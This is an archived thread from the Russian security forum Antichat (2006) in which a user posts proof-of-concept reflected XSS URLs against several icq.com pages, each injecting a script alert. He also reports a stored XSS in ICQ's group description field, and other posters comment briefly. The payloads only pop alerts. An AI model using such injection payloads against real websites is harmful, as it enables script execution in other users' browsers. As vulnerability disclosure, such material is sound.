Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)

- Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)

- - Xss в ICQ (https://forum.antichat.xyz/showthread.php?t=19238)

EST a1ien

17.05.2006 14:52

Xss в ICQ

Нашол XSS в ICQ

Код:

http://www.icq.com/register/thanks.php?service=&uin=1%3Cscript%3Ealert(123);%3C/script%3E&newuser=1

EST a1ien

20.05.2006 17:52

Вот ещё одна xss в ICQ найденная мной

Код:

http://www.icq.com/groups/atoz.php?letter=%3Cscript%3Ealert('find%20by%20a1ien')%3C/script%3E

Dracula4ever

20.05.2006 18:28

Молодец!!!

EST a1ien

20.05.2006 18:33

Вот продолжение

Код:

http://www.icq.com/people/?searched=1&keyword2=&my_gender=[XSS]&match=[XSS]&age_group=[XSS]&home_cc=[XSS]

Вот пример

http://www.icq.com/people/?searched=1&keyword2=&my_gender=%3Cscript%3Ealert(1)%3C/script%3E&match=%3Cscript%3Ealert(1)%3C/script%3E&age_group=%3Cscript%3Ealert(1)%3C/script%3E&home_cc=%3Cscript%3Ealert(1)%3C/script%3E

Darkwayder

20.05.2006 19:18

Лол их находили пол года назад. Даже чисто я находил.

EST a1ien

20.05.2006 19:44

Вот ещё активная XSS!
При создании группы не фильтруется параметра Group Description.
Вот ссылка на мою групу со скриптом.
http://www.icq.com/groups/group_deta...p?gid=12052128
З.Ы Если ктото уже находил несудите сторого.

Время: 14:09